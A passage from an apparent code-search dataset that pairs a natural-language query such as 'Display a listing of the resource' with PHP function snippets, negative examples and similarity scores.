(graph_templates_item.color_id=colors.id)\n\t\tLEFT JOIN graph_templates_gprint on (graph_templates_item.gprint_id=graph_templates_gprint.id)\n\t\tWHERE graph_templates_item.local_graph_id=\" . $graph_item[\"local_graph_id\"] . \"\n\t\tORDER BY graph_templates_item.sequence\");\n\n\t/* find the step and how often this graph is updated with new data */\n\t$ds_step = db_fetch_cell(\"select\n\t\tdata_template_data.rrd_step\n\t\tfrom (data_template_data,data_template_rrd,graph_templates_item)\n\t\twhere graph_templates_item.task_item_id=data_template_rrd.id\n\t\tand data_template_rrd.local_data_id=data_template_data.local_data_id\n\t\tand graph_templates_item.local_graph_id=\" . $graph_item[\"local_graph_id\"] . \"\n\t\tlimit 0,1\");\n\t$ds_step = empty($ds_step) ? 300 : $ds_step;\n\n\tif ((empty($graph_start)) || (empty($graph_end))) {\n\t\t$rra[\"rows\"] = 600;\n\t\t$rra[\"steps\"] = 1;\n\t\t$rra[\"timespan\"] = 86400;\n\t}else{\n\t\t/* get a list of RRAs related to this graph */\n\t\t$rras = get_associated_rras($graph_item[\"local_graph_id\"]);\n\n\t\tif (sizeof($rras) > 0) {\n\t\t\tforeach ($rras as $unchosen_rra) {\n\t\t\t\t/* the timespan specified in the RRA \"timespan\" field may not be accurate */\n\t\t\t\t$real_timespan = ($ds_step * $unchosen_rra[\"steps\"] * $unchosen_rra[\"rows\"]);\n\n\t\t\t\t/* make sure the current start/end times fit within each RRA's timespan */\n\t\t\t\tif ( (($graph_end - $graph_start) <= $real_timespan) && ((time() - $graph_start) <= $real_timespan) ) {\n\t\t\t\t\t/* is this RRA better than the already chosen one? */\n\t\t\t\t\tif ((isset($rra)) && ($unchosen_rra[\"steps\"] < $rra[\"steps\"])) {\n\t\t\t\t\t\t$rra = $unchosen_rra;\n\t\t\t\t\t}else if (!isset($rra)) {\n\t\t\t\t\t\t$rra = $unchosen_rra;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif (!isset($rra)) {\n\t\t\t$rra[\"rows\"] = 600;\n\t\t\t$rra[\"steps\"] = 1;\n\t\t}\n\t}\n\t$seconds_between_graph_updates = ($ds_step * $rra[\"steps\"]);\n\n\t/* override: graph start time */\n\tif ((!isset($graph_start)) || ($graph_start == \"0\")) {\n\t\t$graph_start = -($rra[\"timespan\"]);\n\t}\n\t/* override: graph end time */\n\tif ((!isset($graph_end)) || ($graph_end == \"0\")) {\n\t\t$graph_end = -($seconds_between_graph_updates);\n\t}\n\n\t/* Nth percentile */\n\tif (preg_match_all(\"/\\|([0-9]{1,2}):(bits|bytes):(\\d):(current|total|max|total_peak|all_max_current|all_max_peak|aggregate_max|aggregate_sum|aggregate_current|aggregate):(\\d)?\\|/\", $input, $matches, PREG_SET_ORDER)) {\n\t\tforeach ($matches as $match) {\n\t\t\t$input = str_replace($match[0], variable_nth_percentile($match, $graph_item, $graph_items, $graph_start, $graph_end), $input);\n\t\t}\n\t}\n\n\t/* bandwidth summation */\n\tif (preg_match_all(\"/\\|sum:(\\d|auto):(current|total|atomic):(\\d):(\\d+|auto)\\|/\", $input, $matches, PREG_SET_ORDER)) {\n\t\tforeach ($matches as $match) {\n\t\t\t$input = str_replace($match[0], variable_bandwidth_summation($match, $graph_item, $graph_items, $graph_start, $graph_end, $rra[\"steps\"], $ds_step), $input);\n\t\t}\n\t}\n\n\treturn $input;\n\n}",
"public function inputs();",
"function process($raw) {\r\n\tglobal $sql1, $sql2;\r\n\tglobal $db0, $key;\r\n\r\n\tePrint(\"\\n-------------------------\\n$raw\\n-------------------------\\n\");\r\n\t$raw = split(\"\\2\",$raw);\r\n\t\r\n\tfor ($a=0;$a<count($raw);$a++) {\r\n\t\tePrint(\"Processing: $a\");\r\n\t\t$s = split(\"\\3\",$raw[$a]);\r\n\t\t$query = \"\";\r\n\t\t$db = \"\";\r\n\t\t\tswitch ($s[0]) {\r\n\t\t\t\tcase \"I\":\r\n\t\t\t\t\t$query = \"insert into \" . $s[2] . \" (\" . $s[3] . \") values (\" . $s[4] . \")\";\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase \"UGEN\":\r\n\t\t\t\t\t$sql1 = \"\";\r\n\t\t\t\t\t$fields = split(\"\\~\",$s[3]);\r\n\t\t\t\t\t$values = split(\"\\~\",$s[4]);\r\n\t\t\t\t\tif (count($fields) == count($values)) {\r\n\t\t\t\t\t\tfor ($b=0;$b<count($fields);$b++) {\r\n\t\t\t\t\t\t\taddUpdate($fields[$b],$values[$b],\"N\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse{\r\n\t\t\t\t\t\techo \"\\n\\nprocess_UGEN: Count Mismatch\\n\\n\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$query = \"update \" . $s[2] . \" set \" . $sql1 . \"where \" . $s[5];\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\t\r\n\t\t\t\tcase \"IGEN\":\r\n\t\t\t\t\t$sql1 = \"\";\r\n\t\t\t\t\t$sql2 = \"\";\r\n\t\t\t\t\t$fields = split(\"\\~\",$s[3]);\r\n\t\t\t\t\t$values = split(\"\\~\",$s[4]);\r\n\t\t\t\t\tif (count($fields) == count($values)) {\r\n\t\t\t\t\t\tfor ($b=0;$b<count($fields);$b++) {\r\n\t\t\t\t\t\t\taddInsert($fields[$b],$values[$b],\"N\");\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\telse {\r\n\t\t\t\t\t\techo \"\\n\\nprocess_UGEN: Count Mismatch\\n\\n\";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tePrint($s[3] . \"\\n\\n\" . $s[4] . \"\\n\\n\" . $sql1 . \"\\n\\n\");\r\n\t\t\t\t\t$query = \"insert into \" . $s[2] . \" (\" . $sql1 . \") VALUES (\" . $sql2 . \")\";\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\r\n\t\t\t\tcase \"U\":\r\n\t\t\t\t\t$query = \"update \" . $s[2] . \" set Name='\" . $s[3] . \"', Description='\" . $s[3] . \"' where \" . $s[4];\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase \"U2\":\r\n\t\t\t\t\t$query = \"update \" . $s[2] . \" set Level='\" . $s[3] . \"' where \" . $s[4];\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\t\r\n\t\t\t\tcase \"D\":\r\n\t\t\t\t\t$query = \"delete from \" . $s[2] . \" where \" . $s[3];\r\n\t\t\t\t\t$db = $s[1];\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\tif ($query != \"\") {\r\n\t\t\t$r = SQL($db,$query);\r\n\t\t\t$errmsg = mysql_errno().\": \".mysql_error();\r\n\t\t\t$sql1 = \"\";\r\n\t\t\t$sql2 = \"\";\r\n\t\t\taddInsert(\"efftable\",$s[2],\"C\");\r\n\t\t\taddInsert(\"action\",$s[0],\"C\");\r\n\t\t\taddInsert(\"result\",$errmsg,\"C\");\r\n\t\t\taddInsert(\"session\",$key,\"C\");\r\n\t\t\t$s = \"insert into writelog ($sql1) values ($sql2)\";\r\n\t\t\tSQL($db0,$s);\r\n\t\t}\r\n\r\n\t\techo \"\\n----------------------------------\\nSQL($db,$query)\\n----------------------------------\\n\";\r\n\t}\r\n}",
"public function processInput($input) {\n $ds = new \\Gateway\\DataSource\\Orders();\n\n \tUtils::log(\"Processing orders XML input...\");\n\t\trequire_once(WWW_DIR . \"/../libs/Rakuten/Handlers/Orders.php\");\n\t\t\n\t\t$domain = $this->options->get('domain');\n $key = $this->options->get('key');\n\t\t\n\t\t$Orders = new \\Rakuten\\Handlers\\Orders($key, $domain);\n\t\t$ds = $Orders->getOrders();\n \n Utils::log(\"%s orders has been parsed.\", count($ds));\n\n // return $rakuten_orders;\n return $ds;\n }",
"protected function explore($input, &$result)\n {\n foreach (explode($this->_join, $input) as $item) {\n if (strpos($item, $this->_split) === false) {\n $key = trim($item);\n $val = true;\n } else {\n list($key, $val) = explode($this->_split, $item);\n $key = trim($key);\n $val = trim($val);\n }\n if (is_string($val)) {\n if ($val == \"true\") {\n $val = true;\n } elseif ($val == \"false\") {\n $val = false;\n }\n }\n\n $result[$key] = $val;\n }\n }",
"public function solve()\n {\n $this->usedInBox = range(0, 2);\n foreach ($this->usedInBox as $indexA) {\n $this->usedInBox[$indexA] = range(0, 2);\n\n foreach ($this->usedInBox[$indexA] as $indexB => $bogus) {\n $this->usedInBox[$indexA][$indexB] = range(0, 8);\n\n foreach ($this->usedInBox[$indexA][$indexB] as $indexC => $c) {\n $this->usedInBox[$indexA][$indexB][$indexC] = false;\n }\n }\n }\n\n $this->usedInRow = range(0, 8);\n foreach ($this->usedInRow as $indexA) {\n $this->usedInRow[$indexA] = range(0, 8);\n\n foreach ($this->usedInRow[$indexA] as $indexB) {\n $this->usedInRow[$indexA][$indexB] = false;\n }\n }\n\n $this->usedInColumn = range(0, 8);\n foreach ($this->usedInColumn as $indexA) {\n $this->usedInColumn[$indexA] = range(0, 8);\n\n foreach ($this->usedInColumn[$indexA] as $indexB) {\n $this->usedInColumn[$indexA][$indexB] = false;\n }\n }\n\n for ($y = 0; $y < 9; $y++) {\n for ($x = 0; $x < 9; $x++) {\n if ($this->sudoku[$y][$x] === 0) {\n continue;\n }\n\n $value = $this->sudoku[$y][$x] - 1;\n\n $this->usedInRow[$y][$value] = true;\n $this->usedInColumn[$x][$value] = true;\n $this->usedInBox[floor($y / 3)][floor($x / 3)][$value] = true;\n }\n }\n\n return $this->runSolve(0);\n }",
"function readInputData() {\n\t\t$this->readUserVars(array('monographId', 'decision', 'personalMessage'));\n\t}",
"public function run()\n {\n Cost::create($this->input(1, 1, 1, 87000, 8700, 0.9));\n Cost::create($this->input(1, 2, 1, 157000, 15700, 0.9));\n Cost::create($this->input(1, 3, 1, 214000, 21400, 0.9));\n Cost::create($this->input(1, 4, 1, 158000, 15800, 0.9));\n Cost::create($this->input(1, 5, 1, 258000, 25800, 0.9));\n Cost::create($this->input(1, 6, 1, 216000, 21600, 0.9));\n Cost::create($this->input(1, 7, 1, 171000, 17100, 0.9));\n Cost::create($this->input(1, 8, 1, 157000, 15700, 0.9));\n Cost::create($this->input(1, 9, 1, 253000, 25300, 0.9));\n Cost::create($this->input(1, 10, 1, 205000, 20500, 0.9));\n Cost::create($this->input(1, 11, 1, 245000, 24500, 0.9));\n Cost::create($this->input(1, 12, 1, 246000, 24600, 0.9));\n Cost::create($this->input(1, 13, 1, 136000, 13600, 0.9));\n }",
"private function fillWireGrid($input): array\n {\n $grid = [0 => [0 => \"B\"]];\n\n foreach($input as $line_number => $line) {\n $last_x_cor = 0;\n $last_y_cor = 0;\n $line_steps = 0;\n foreach ($line as $instruction) {\n // A letter as dir and a number as cor the direction determines X or Y the number how much\n $direction = substr($instruction, 0, 1);\n $cor = (int) substr($instruction, 1);\n\n switch ($direction) {\n case \"U\":\n for ($new_x_cor = $last_x_cor + 1; $new_x_cor <= $last_x_cor + $cor; $new_x_cor++) {\n $line_steps++;\n $grid = $this->fillGridPoints($line_number, $grid, $new_x_cor, $last_y_cor, $line_steps);\n }\n $last_x_cor = $last_x_cor + $cor;\n break;\n case \"D\":\n for ($new_x_cor = $last_x_cor - 1; $new_x_cor >= $last_x_cor - $cor; $new_x_cor--) {\n $line_steps++;\n $grid = $this->fillGridPoints($line_number, $grid, $new_x_cor, $last_y_cor, $line_steps);\n }\n $last_x_cor = $last_x_cor - $cor;\n break;\n case \"R\":\n for ($new_y_cor = $last_y_cor + 1; $new_y_cor <= $last_y_cor + $cor; $new_y_cor++) {\n $line_steps++;\n $grid = $this->fillGridPoints($line_number, $grid, $last_x_cor, $new_y_cor, $line_steps);\n }\n $last_y_cor = $last_y_cor + $cor;\n break;\n case \"L\":\n for ($new_y_cor = $last_y_cor - 1; $new_y_cor >= $last_y_cor - $cor; $new_y_cor--) {\n $line_steps++;\n $grid = $this->fillGridPoints($line_number, $grid, $last_x_cor, $new_y_cor, $line_steps);\n }\n $last_y_cor = $last_y_cor - $cor;\n break;\n }\n }\n }\n\n return $grid;\n }",
"private function task_2_correction($task_name)\n {\n\n \n require_once public_path('task\\\\') . $task_name;\n $newValue_of_task = explode('.',$task_name);\n\n if(class_exists($newValue_of_task[0])){\n\n if(session()->has('error_class')){\n session()->forget('error_class');\n }\n\n if(method_exists($newValue_of_task[0], 'check_phonenumber')){\n if(session()->has('error_function')){\n session()->forget('error_function');\n }\n $task = new $newValue_of_task[0];\n $wrong = array();\n $wrong[0] = \"0120287465\";//10 \n $wrong[1] = \"012028736166\";//12\n $wrong[2] = \"012012\";//6\n $wrong[3] = \"01302873616\";//12 but start with 013\n $wrong[4] = \"01702873616\";//12 but start with 017\n $wrong[5] = \"012e45mu576\";//12 but contain characters\n $correct = array();\n $correct[0] = \"01201873616\";\n $correct[1] = \"01102764837\";\n $correct[2] = \"01098237673\";\n \n $degree = 0;\n $notes = array();\n $counter = 0;\n $degree = 0;\n for($i=0;$i<count($wrong);$i++)\n {\n if($task->check_phonenumber($wrong[$i]) == \"wrong\")\n {\n $degree++;\n }\n else if($task->check_phonenumber($wrong[$i]) == \"correct\")\n {\n $notes[$counter] = $wrong[$i];\n $counter++;\n } \n }\n for($i=0;$i<count($correct);$i++)\n {\n if($task->check_phonenumber($correct[$i]) == \"correct\")\n {\n $degree++;\n }\n else if($task->check_phonenumber($correct[$i]) == \"wrong\")\n {\n $notes[$counter] = $wrong[$i];\n $counter++;\n }\n }\n $arr = array();\n $arr[0] = $degree;//degree\n $arr[1] = count($wrong) + count($correct);//total degree \n $arr[2] = $notes;\n return $arr;\n }else{\n\n $this->checker2 = true;\n session()->put('error_function','error_function');\n unlink(public_path('task\\\\') . $task_name);\n }\n \n }else{\n $this->checker1 = true;\n session()->put('error_class','error_class');\n unlink(public_path('task\\\\') . $task_name);\n }//if class is exist or not\n \n }",
"function checkInput()\r\n\t{\r\n\t\tglobal $lng;\r\n\t\t\r\n\t\tforeach ($this->dirs as $dir)\r\n\t\t{\r\n\t\t\t$num_value = $_POST[$this->getPostVar()][$dir][\"num_value\"] = \r\n\t\t\t\ttrim(ilUtil::stripSlashes($_POST[$this->getPostVar()][$dir][\"num_value\"]));\r\n\t\t\t$num_unit = $_POST[$this->getPostVar()][$dir][\"num_unit\"] = \r\n\t\t\t\ttrim(ilUtil::stripSlashes($_POST[$this->getPostVar()][$dir][\"num_unit\"]));\r\n\t\t\t\t\r\n\t\t\t/*\r\n\t\t\tif ($this->getRequired() && trim($num_value) == \"\")\r\n\t\t\t{\r\n\t\t\t\t$this->setAlert($lng->txt(\"msg_input_is_required\"));\r\n\t\r\n\t\t\t\treturn false;\r\n\t\t\t}*/\r\n\t\t\t\r\n\t\t\tif (!is_numeric($num_value) && $num_value != \"\")\r\n\t\t\t{\r\n\t\t\t\t$this->setAlert($lng->txt(\"sty_msg_input_must_be_numeric\"));\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\tif (trim($num_value) != \"\")\r\n\t\t\t{\r\n\t\t\t\tswitch ($dir)\r\n\t\t\t\t{\r\n\t\t\t\t\tcase \"all\": $this->setAllValue($num_value.$num_unit); break;\r\n\t\t\t\t\tcase \"top\": $this->setTopValue($num_value.$num_unit); break;\r\n\t\t\t\t\tcase \"bottom\": $this->setBottomValue($num_value.$num_unit); break;\r\n\t\t\t\t\tcase \"left\": $this->setLeftValue($num_value.$num_unit); break;\r\n\t\t\t\t\tcase \"right\": $this->setRightValue($num_value.$num_unit); break;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\treturn true;\r\n\t}",
"function get_args($argc, $argv, &$prepinace, &$inputFile, &$outputFile, &$k, &$n){\n\n foreach($argv as $arg){\n \n if(!strcmp($arg, \"--help\")) {\n if($argc == 2){\n print_help();\n }\n else{\n chyba_prepinace();\n }\n }\n \n else if(!strncmp($arg, \"--input=\", 8)){\n if ($prepinace[\"input\"] == true){\n chyba_prepinace();\n }\n else{\n $prepinace[\"input\"] = true;\n $inputFile = mb_substr($arg, 8, mb_strlen($arg));\n if($inputFile == \"\" || $inputFile == \".\"){\n $inputFile = \"./\"; //nezadany adresar => aktualny adresar\n }\n }\n \n \n }\n \n else if(!strncmp($arg, \"--output=\", 9)){\n if($prepinace[\"output\"] == true || mb_strlen($arg) <= 9){\n chyba_prepinace();\n }\n $prepinace[\"output\"] = true;\n $outputFile = mb_substr($arg, 9, mb_strlen($arg)); \n }\n \n else if(!strncmp($arg, \"--pretty-xml\", 12)) {\n if($prepinace[\"pretty\"] == true){\n chyba_prepinace();\n }\n $prepinace[\"pretty\"] = true;\n if(!strncmp($arg, \"--pretty-xml=\", 13)){\n $k = strval(mb_substr($arg, 13, mb_strlen($arg)));\n if(!is_numeric($k)){\n chyba_prepinace();\n }\n if($k == 0){\n $k = 4; //implicitna hodnota pri zadani prettyxml parametru\n }\n }\n \n // fprintf(STDOUT, $k); \n }\n \n else if(!strcmp($arg, \"--no-inline\")){\n if($prepinace[\"no-inline\"] == true){\n chyba_prepinace();\n }\n $prepinace[\"no-inline\"] = true;\n }\n \n else if(!strncmp($arg, \"--max-par=\", 10)){\n if($prepinace[\"maxPar\"] == true || mb_strlen($arg) <=10){\n chyba_prepinace();\n }\n $prepinace[\"maxPar\"] = true;\n $n = mb_substr($arg, 10, mb_strlen($arg));\n if(!is_numeric($n)){\n chyba_prepinace();\n } \n }\n \n else if(!strcmp($arg, \"--no-duplicates\")){\n if($prepinace[\"noDuplicates\"] == true){\n chyba_prepinace(); \n }\n $prepinace[\"noDuplicates\"] = true; \n }\n \n else if(!strcmp($arg, \"--remove-whitespace\")){\n if($prepinace[\"removeWhitespaces\"] == true){\n chyba_prepinace();\n }\n $prepinace[\"removeWhitespaces\"] = true;\n }\n else if(preg_match('/^--/', $arg)){\n chyba_prepinace();\n }\n } \n}",
"public function processArray($input){\n\t\tforeach (static::$columns as $column) {\n\t\t\tif(isset($input[$column])){\n\t\t\t\t$this->$column = $input[$column];\n \t\t\t}\n\t\t}\n\t}",
"abstract protected function doPairs();",
"function processReqString ($req) {\r\n\r\n\t$question = explode(\"|\", $req);\r\n\tif(sizeof($req) ==0 ) {\r\n\t\techo 'error: The provided string is incorrect';\r\n\t\treturn null;\r\n\t}\r\n\t$arr = array_map(\"splitQuestions\", $question);\r\n\treturn $arr;\r\n\r\n\r\n}",
"public function process()\n\t{\n\t\t$this->template()->assign(array(\n\t\t\t\t'iMaxAnswers' => (int)Phpfox::getUserParam('poll.maximum_answers_count'),\n\t\t\t\t'iMinAnswers' => 2,\n\t\t\t\t'sPhraseKey' => 'poll.you_have_reached_your_limit',\n\t\t\t\t'sPhraseValue' => Phpfox::getPhrase('poll.you_have_reached_your_limit')\n\t\t\t)\n\t\t);\n\t}",
"public function promptInput()\n {\n while ($this->run) {\n $this->valid = true;\n $input = readline('Enter a command : ');\n $this->handleInput($input);\n }\n }",
"static function processInput($formData) {\t \t\n\t\t\tif ($formData['textfield1'] == '' && $formData['textfield2'] == '' ) {\n\t\t\t\t#return \"Try again\"; \n\t\t\t}\n\t}"
]
| [
"0.5682773",
"0.5556023",
"0.5171825",
"0.51378787",
"0.5118471",
"0.50526154",
"0.504907",
"0.5040862",
"0.50288236",
"0.5024057",
"0.50181156",
"0.50174415",
"0.50174415",
"0.50170624",
"0.50170624",
"0.50170624",
"0.50170624",
"0.50128776",
"0.4999151",
"0.49949855",
"0.49786395",
"0.49767965",
"0.49482593",
"0.4944365",
"0.4930157",
"0.4930157",
"0.4930157",
"0.49082556",
"0.4899298",
"0.48734578",
"0.48280388",
"0.48227665",
"0.48094118",
"0.48040304",
"0.4798567",
"0.47925454",
"0.47847646",
"0.47591066",
"0.47589326",
"0.47477114",
"0.4735993",
"0.4731021",
"0.47221613",
"0.4720139",
"0.4707272",
"0.46798038",
"0.4675269",
"0.46752396",
"0.46701634",
"0.46695682",
"0.46533632",
"0.46403596",
"0.46369562",
"0.46301788",
"0.46281385",
"0.46218234",
"0.46117917",
"0.4584659",
"0.45834497",
"0.45834497",
"0.45834497",
"0.45834497",
"0.45777425",
"0.45745638",
"0.45709726",
"0.45699838",
"0.45636088",
"0.455972",
"0.4555783",
"0.4550716",
"0.45444754",
"0.45425063",
"0.45374367",
"0.4536348",
"0.45283204",
"0.45156702",
"0.45112708",
"0.45077828",
"0.4506233",
"0.45041257",
"0.44892505",
"0.44771963",
"0.44690496",
"0.44648185",
"0.44592628",
"0.44511688",
"0.44422027",
"0.44372475",
"0.44328883",
"0.44310796",
"0.4425837",
"0.44235292",
"0.44150048",
"0.44136873",
"0.44070712",
"0.439955",
"0.4394746",
"0.43926027",
"0.43874943",
"0.43817228"
]
| 0.50532746 | 5 |
Display a listing of the resource. | public function index()
{
return view('admin.users.index');
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }",
"public function listing();",
"function index() {\n\t\t$this->show_list();\n\t}",
"public function actionList() {\n $this->_getList();\n }",
"public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }",
"public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }",
"public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }",
"function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}",
"public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }",
"public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }",
"public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}",
"function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }",
"public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}",
"public function actionRestList() {\n\t $this->doRestList();\n\t}",
"public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}",
"public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }",
"public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }",
"public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}",
"public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}",
"public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }",
"public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }",
"public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }",
"public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }",
"public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}",
"public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }",
"public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}",
"public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }",
"public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }",
"public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }",
"public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}",
"public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }",
"public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }",
"public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }",
"public function index()\n {\n return Resources::collection(Checking::paginate());\n }",
"public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }",
"public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }",
"public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }",
"public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }",
